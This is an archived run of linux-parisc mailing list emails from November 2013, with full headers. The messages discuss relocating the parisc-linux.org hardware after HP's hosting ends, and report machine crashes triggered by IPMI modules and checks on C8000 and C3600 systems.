Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 4 Nov 2013 19:22:09 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20131105022209.GC22393@dannf.org>
References: <20131105003509.GA19864@dannf.org>
 <1383612962.2150.4.camel@dabdike>
 <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383618131 28298 80.91.229.3 (5 Nov 2013 02:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 02:22:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 03:22:16 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdWHV-0001wn-UH
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 03:22:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753412Ab3KECWN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 21:22:13 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:59560 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752306Ab3KECWM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 21:22:12 -0500
Original-Received: from localhost (c-50-170-238-85.hsd1.co.comcast.net [50.170.238.85])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id 2094D33E0096;
	Mon,  4 Nov 2013 19:22:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5453>

On Mon, Nov 04, 2013 at 08:07:33PM -0500, John David Anglin wrote:
> On 4-Nov-13, at 7:56 PM, James Bottomley wrote:
> 
> >On Mon, 2013-11-04 at 17:35 -0700, dann frazier wrote:
> >>Hi,
> >>I've been informed that the subnet on which HP is hosting
> >>parisc-linux.org is going away next month. They have offered to ship
> >>the hardware somewhere if it continues to be needed.
> >
> >We'll probably end up distributing to people.  Do they have a list of
> >what it is (and approximate size for those wanting the N class)?
> 
> 
> Is there any possibility that HP might continue to host parisc-linux.org
> on some other subnet/machine?

I've asked before if they had other systems/VMs they could host it on
and the answer was no. I'll ask again to make sure that hasn't changed
for some reason, but I'd recommend looking for other options in the
meantime. Perhaps osuosl.org?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Mon, 04 Nov 2013 19:58:53 -0800
Organization: HP
Lines: 136
Approved: news@gmane.org
Message-ID: <52786CFD.1070009@hp.com>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms040504090002040806020608"
X-Trace: ger.gmane.org 1383623940 394 80.91.229.3 (5 Nov 2013 03:59:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 03:59:00 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 04:59:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdXnA-0008Me-1E
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 04:59:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752306Ab3KED66 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Nov 2013 22:58:58 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:43768 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750819Ab3KED66 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Nov 2013 22:58:58 -0500
Original-Received: from g1t0039.austin.hp.com (txe01lbes7037-7038-vl451-snat2.austin.hp.com [15.216.28.92])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 8C02FC305;
	Tue,  5 Nov 2013 03:58:57 +0000 (UTC)
Original-Received: from [10.152.0.90] (openvpn.lnx.usa.hp.com [16.125.113.33])
	by g1t0039.austin.hp.com (Postfix) with ESMTP id 352DE34002;
	Tue,  5 Nov 2013 03:58:54 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120827 Thunderbird/15.0
In-Reply-To: <20131105022209.GC22393@dannf.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5454>

This is a cryptographically signed message in MIME format.

--------------ms040504090002040806020608
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable

Just to confirm Dan's comment, HPIT is taking ownership of just
about everything, so it's harder to do g-jobs like this.  Even
our internal labs are being moved to isolated subnets, for better or
worse.  A University or co-lo system is probably going to have
better throughput than our current R&D edge compartments.

best,
-craig

--=20
_______________________
Craig Lamparter
HP Servers Linux R&D
Hewlett Packard Company
craig.lamparter@hp.com

On 11/04/2013 06:22 PM, dann frazier wrote:
> I've asked before if they had other systems/VMs they could host it on
> and the answer was no. I'll ask again to make sure that hasn't changed
> for some reason, but I'd recommend looking for other options in the
> meantime. Perhaps osuosl.org?


--------------ms040504090002040806020608
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIOcDCC
BmEwggVJoAMCAQICEFHz5uyygZHVFZ4pmbCHOnswDQYJKoZIhvcNAQEFBQAwgcoxCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0
aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMiBQdWJsaWMgUHJp
bWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA5MDkwMjAwMDAwMFoXDTE0
MDkwMTIzNTk1OVowgfcxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdIZXdsZXR0LVBhY2thcmQg
Q29tcGFueTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE7MDkGA1UECxMyVGVy
bXMgb2YgdXNlIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEgKGMpMDkxNTAzBgNV
BAsTLENsYXNzIDIgTWFuYWdlZCBQS0kgSW5kaXZpZHVhbCBTdWJzY3JpYmVyIENBMTEwLwYD
VQQDEyhDb2xsYWJvcmF0aW9uIENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEcyMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp2FraNquqoVkDEvLUMsw6HMhjon+yi1v/kajA27j
IrdyhRMj4g+PBveBTHrtA7w97Rx1UKPP6CvOaAE5xUtoW9ajYZtO5kdiUFyzWHsbUgSjKy+y
NO4QoHeEzaQi/JWUOYev/AV5YYJoEDIysosEELS1/M64iE2Utzr+LxiWhdaqSRE4jigbm4Dy
4ayLzqAv5f7oILrJNZ6ShqLiGGCpP+7relTyRgFXmEX/SKN/a39JwZoKSNUdIkYyr7wmNI9+
zylheDJghuk+kZDAD3NXv4EGVMUfOg5UEdhAJ0Lw40D4pqKa2ej1H0UipK1EEdRTm94RzfE8
z8vDP8+dcgOqCwIDAQABo4ICEjCCAg4wEgYDVR0TAQH/BAgwBgEB/wIBADBwBgNVHSAEaTBn
MGUGC2CGSAGG+EUBBxcCMFYwKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNv
bS9jcHMwKgYIKwYBBQUHAgIwHhocaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYTA0BgNV
HR8ELTArMCmgJ6AlhiNodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2EyLWczLmNybDAOBgNV
HQ8BAf8EBAMCAQYwLgYDVR0RBCcwJaQjMCExHzAdBgNVBAMTFlByaXZhdGVMYWJlbDQtMjA0
OC0xNDIwHQYDVR0OBBYEFCJ906SrV6xWf6l/QUQalbxb+KvuMIHwBgNVHSMEgegwgeWhgdCk
gc0wgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMW
VmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIElu
Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3Mg
MiBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczghBhcMtJjF+Y
RSnnsKbZUFt6MA0GCSqGSIb3DQEBBQUAA4IBAQAvUbxneMj/3SU5WlUKapv9ZGIeeNSf6/t6
gKUUsCT2A1KQMlZmK7/gn4ndrXWdch7Uafl6WkPlBcunYRGvJ6YkJCP4uV86Lwv68mK6REwJ
FMiKHy/qFnRaoI+pLfaIlMQ9l7Q2DRnNLSyCBl9b02PaGzX+XQQxGhLiE89Z1E+ajicWG1zR
zBUbPx46ptQUjfjYPNyP4cLWT5rJ7olc9/mRyfIO4nGU8lRjGcuKwxZhOP+TftJgd/fRYf68
Kf2Bkue4cdrI2UUgYD02GBL/S8E8FBsOrAoJ5N6cEYacwT2BZgHzYrxTC5ZyxzY9TWtGldxE
H/moJ5OLtF+KauJWhaACMIIIBzCCBu+gAwIBAgIQQfpgRPXJ3aqDaZzvPzaAnDANBgkqhkiG
9w0BAQUFADCB9zELMAkGA1UEBhMCVVMxIDAeBgNVBAoTF0hld2xldHQtUGFja2FyZCBDb21w
YW55MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBv
ZiB1c2UgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykwOTE1MDMGA1UECxMs
Q2xhc3MgMiBNYW5hZ2VkIFBLSSBJbmRpdmlkdWFsIFN1YnNjcmliZXIgQ0ExMTAvBgNVBAMT
KENvbGxhYm9yYXRpb24gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgRzIwHhcNMTMwNzA4MDAw
MDAwWhcNMTUwNzA4MjM1OTU5WjCBnjEgMB4GA1UEChQXSGV3bGV0dC1QYWNrYXJkIENvbXBh
bnkxJjAkBgNVBAsUHUVtcGxveW1lbnQgU3RhdHVzIC0gRW1wbG95ZWVzMQ8wDQYDVQQLEwZT
L01JTUUxGjAYBgNVBAMTEVJpY2hhcmQgTGFtcGFydGVyMSUwIwYJKoZIhvcNAQkBFhZjcmFp
Zy5sYW1wYXJ0ZXJAaHAuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvFA2
cVzBzP/n6LsbdewAfytWcbAFpFKJ4KCa9neSoqpKznR2dPo6sT25g9sR7NJmcSS8GMgm4eMS
iXwES9t6V4a0zCHo8+IR9631qsBwITLp6TbJOe3PMsqWUZwjILISGfyo15eSHNVinCoIM542
jqujwdkkpZuKW1cs/F1xJHbpJiX4sinQERlsiV36cpGA89hFOa52WmGAhqqMNgYH7Vg18LNp
RdrOMjPQjHR1kJj3EFq71+r+m3HsdD89T4Ae6424X7RXOmzX6vlxF+GwRuWL17SIPF0TterU
Y8Omdq1gt4+rSl9BSVeuN3ERcKsVa4Ym31Z4FIhGuLoE3kfC5wIDAQABo4ID5DCCA+AwSQYD
VR0RBEIwQIEWY3JhaWcubGFtcGFydGVyQGhwLmNvbYEWY3JhaWdfbGFtcGFydGVyQGhwLmNv
bYEOY3JhaWdlckBocC5jb20wDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCBaAwWQYDVR0f
BFIwUDBOoEygSoZIaHR0cDovL29uc2l0ZWNybC52ZXJpc2lnbi5jb20vSGV3bGV0dFBhY2th
cmRDb21wYW55U01JTUVHMi9MYXRlc3RDUkwuY3JsMB8GA1UdIwQYMBaAFCJ906SrV6xWf6l/
QUQalbxb+KvuMB0GA1UdDgQWBBRX88PXhTmPz9bJUw85ibYgGgd7JzCCATIGCCsGAQUFBwEB
BIIBJDCCASAwJwYIKwYBBQUHMAGGG2h0dHA6Ly9ocC1vY3NwLnZlcmlzaWduLmNvbTCB9AYI
KwYBBQUHMAKkgecwgeQxMTAvBgNVBAMTKENvbGxhYm9yYXRpb24gQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkgRzIxMDAuBgNVBAsTJ0NsYXNzIDIgT25TaXRlIEluZGl2aWR1YWwgU3Vic2Ny
aWJlciBDQTE6MDgGA1UECxMxVGVybXMgb2YgdXNlIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWdu
LmNvbS9ycGEoYykwOTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazEgMB4GA1UE
ChMXSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkwggE9BgNVHSAEggE0MIIBMDCCASwGC2CGSAGG
+EUBBxcCMIIBGzAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYTCB
7gYIKwYBBQUHAgIwgeEwHhYXSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkwAwIBAhqBvkF1dGhv
cml0eSB0byBiaW5kIEhQIGRvZXMgbm90IGNvcnJlc3BvbmQgd2l0aCB1c2Ugb3IgcG9zc2Vz
c2lvbiBvZiB0aGlzIGNlcnRpZmljYXRlLiBJc3N1ZWQgdG8gZmFjaWxpdGF0ZSBjb21tdW5p
Y2F0aW9uIHdpdGggSFAuIFZlcmlTaWduJ3MgQ1BTIGluY29ycC4gQnkgcmVmZXJlbmNlIGxp
YWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwQwSwYJKoZI
hvcNAQkPBD4wPDAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwICAgBAMA4GCCqGSIb3DQME
AgIAgDAKBggqhkiG9w0DBzANBgkqhkiG9w0BAQUFAAOCAQEASVCGOH86//CjUSA2Tb8z/EMe
pcJW3UTyOXo698SoDQtvsPtho05GVvszY+bRet/9nn7VRQN/g8D5dvY8pAOOebHy/GaGhFc5
0dWqaG2IVgTB/vUWSF42/z2X49z4a4wDvltR8rXTYHQlBRmsLJ6Efbmm09YT3Pz5kqmSoKqe
GauhuScue1Qu+c6VsupoyA0KG/50qGjmCjbUg5v3Fin5elGIZSMqPjA8yttez1/z4RsXbbiP
CeZEfqaMZCxkhueA/MQSfVYw5QX4nsBGMnXFQZe0B4DKZ1XaZtmcp+hBvOYmyTWn+3loxzmu
IdM+H/doA/aVMljsm7Eib0anxcjXDTGCBUwwggVIAgEBMIIBDDCB9zELMAkGA1UEBhMCVVMx
IDAeBgNVBAoTF0hld2xldHQtUGFja2FyZCBDb21wYW55MR8wHQYDVQQLExZWZXJpU2lnbiBU
cnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2UgYXQgaHR0cHM6Ly93d3cudmVy
aXNpZ24uY29tL3JwYSAoYykwOTE1MDMGA1UECxMsQ2xhc3MgMiBNYW5hZ2VkIFBLSSBJbmRp
dmlkdWFsIFN1YnNjcmliZXIgQ0ExMTAvBgNVBAMTKENvbGxhYm9yYXRpb24gQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkgRzICEEH6YET1yd2qg2mc7z82gJwwCQYFKw4DAhoFAKCCAxMwGAYJ
KoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTMxMTA1MDM1ODUzWjAj
BgkqhkiG9w0BCQQxFgQUTTInCYGOl7YCbSjP/HxNXsFptgowbAYJKoZIhvcNAQkPMV8wXTAL
BglghkgBZQMEASowCwYJYIZIAWUDBAECMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAN
BggqhkiG9w0DAgIBQDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDCCAR8GCSsGAQQBgjcQBDGC
ARAwggEMMIH3MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXSGV3bGV0dC1QYWNrYXJkIENvbXBh
bnkxHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRlcm1zIG9m
IHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTA5MTUwMwYDVQQLEyxD
bGFzcyAyIE1hbmFnZWQgUEtJIEluZGl2aWR1YWwgU3Vic2NyaWJlciBDQTExMC8GA1UEAxMo
Q29sbGFib3JhdGlvbiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBHMgIQQfpgRPXJ3aqDaZzv
PzaAnDCCASEGCyqGSIb3DQEJEAILMYIBEKCCAQwwgfcxCzAJBgNVBAYTAlVTMSAwHgYDVQQK
ExdIZXdsZXR0LVBhY2thcmQgQ29tcGFueTEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0
d29yazE7MDkGA1UECxMyVGVybXMgb2YgdXNlIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNv
bS9ycGEgKGMpMDkxNTAzBgNVBAsTLENsYXNzIDIgTWFuYWdlZCBQS0kgSW5kaXZpZHVhbCBT
dWJzY3JpYmVyIENBMTEwLwYDVQQDEyhDb2xsYWJvcmF0aW9uIENlcnRpZmljYXRpb24gQXV0
aG9yaXR5IEcyAhBB+mBE9cndqoNpnO8/NoCcMA0GCSqGSIb3DQEBAQUABIIBAGBuHLKeP+WV
UXAqVFg6u4x8gW5vhAgcA313K74R4H4+lxr71buY7XPiN5fqxxin6VfO6n2YcgMxFeu/QHxX
4eT0OwIPz+twMpR54BACd27csrXbpCfXdq1NZd7+Q7uw8EI9sZRi82YtGMOkF3zM8YEnJJNn
twKE8sKiTfI0N1BkTR+KOa+pfd56rLBhl8T7vsSpnklKyGC2FYaEwEbl5ilJtk6AEoDdaW6n
xyv27zuIjQRdGLGXzBvRyOOk42US8wiyQgRGeh9dKa81sI/CcImK499vzFTAxV1QPFLninq+
JjH3qq6TMTj/vVx0uPmzTnYUv9O81L6P3Jx7KQWei5gAAAAAAAA=
--------------ms040504090002040806020608--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: parisc-linux.org losing hw hosting after this month
Date: Tue, 5 Nov 2013 11:51:15 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <trinity-7edb2a57-bc89-4ebf-9eb7-ebedef0ee7fd-1383648675665@3capp-gmx-bs06>
References: <20131105003509.GA19864@dannf.org>
 <1383612962.2150.4.camel@dabdike>
 <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl>,
 <20131105022209.GC22393@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1383648677 25456 80.91.229.3 (5 Nov 2013 10:51:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 10:51:17 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: "dann frazier" <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 11:51:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdeEA-000820-0y
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 11:51:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752332Ab3KEKvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Nov 2013 05:51:17 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:59082 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751139Ab3KEKvQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Nov 2013 05:51:16 -0500
Original-Received: from 3capp-gmx-bs06.server.lan ([172.19.170.55]) by
 mrigmx.server.lan (mrigmx001) with ESMTP (Nemesis) id
 0MXCId-1VACbm3E5V-00WCWB for <linux-parisc@vger.kernel.org>; Tue, 05 Nov 2013
 11:51:15 +0100
Original-Received: from [155.56.40.73] by 3capp-gmx-bs06.server.lan with HTTP; Tue
 Nov 05 11:51:15 CET 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <20131105022209.GC22393@dannf.org>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:DdJlxtYsX5ICKg+mIjd4QD0DjUHxJlm14rISFZWdaI1
 qDWrWqQTtXMAQCc8AZiGaeEUKX/7zG5ArHmlRYhvtQOrNNbi3r
 ALUx4IXX0p8FwXuHK2qIEvxcGtSVmL+LWykQrzydAZh9S8HgVc
 ce4wsIRuUBWdz49zjzl+JtzvgrD6vzzYcWZuKyF3cpOANGWkw/
 Iqs/IzEZECoZaQLx5I/IdOi+N2q3ikWdl4XTTHJ+BFCi/G3DCg
 3q6VSaQCrgXa6qfqmf6tArjZVLzGyGBoTauUBsOzDtXLdkAH7S gtN+xs=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5455>

> > Is there any possibility that HP might continue to host parisc-linux.org
> > on some other subnet/machine?
> 
> I've asked before if they had other systems/VMs they could host it on
> and the answer was no. I'll ask again to make sure that hasn't changed
> for some reason, but I'd recommend looking for other options in the
> meantime. Perhaps osuosl.org?

I would really prefer if it could go to some place where we e.g. could
use it as build/hosting server (e.g. osuosl.org). If that's not possible
I would be happy to get it privately for development, since a A500 is something 
which I don't have yet, and which is not that easy to get here in germany.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: =?UTF-8?Q?ipmi=5Fsi=20kills=20C=38=30=30=30?=
Date: Tue, 05 Nov 2013 13:23:20 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <c40252aefa03db1431bdb9ed6dcf179e@sf-mail.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <15371438.W2EHpOsA1I@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1383654204 25214 80.91.229.3 (5 Nov 2013 12:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Nov 2013 12:23:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 05 13:23:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VdffI-0007Tx-V3
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Nov 2013 13:23:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754166Ab3KEMXY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Nov 2013 07:23:24 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:51197 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754112Ab3KEMXX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Nov 2013 07:23:23 -0500
Original-Received: (qmail 31201 invoked from network); 5 Nov 2013 12:23:20 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:49937 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.24) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 05 Nov 2013 13:23:20 +0100
In-Reply-To: <15371438.W2EHpOsA1I@caliban.sf-tec.de>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5456>

>> I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which=20
>> immediately
>> broke the machine. I have no backtrace yet, but I'll try to get one=20
>> next
>> week. In case someone has such a machine and the mood to debug this
>> already=E2=80=A6 ;)
>=20
> Ok, I now have IPMI monitoring on the C8000 working smoothly. Thanks=20
> for the
> work on this.
>=20
> While testing I installed by mistake the nagios IPMI check module and=
=20
> freeipmi
> on the C3600 (running 3.11.2 at that time). Calling "check_ipmi_senso=
r=20
> -T
> Temperature -H localhost" reproducible caused a HPMC. There was no IP=
MI=20
> module
> loaded or even compiled on the machine so I think it has nothing to d=
o=20
> with
> the crash reported above. I'll try if I can get some additional=20
> information on
> monday.

I can reproduce this on the C8000, using both 3.11.6 and 3.12: if=20
ipmi_devintf is not loaded the machine will die when nagios does the=20
first IPMI check. Loading this module makes the machine survive. Sadly=20
it seems that I have screwed up my serial setup so I don't have a=20
backtrace of this.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
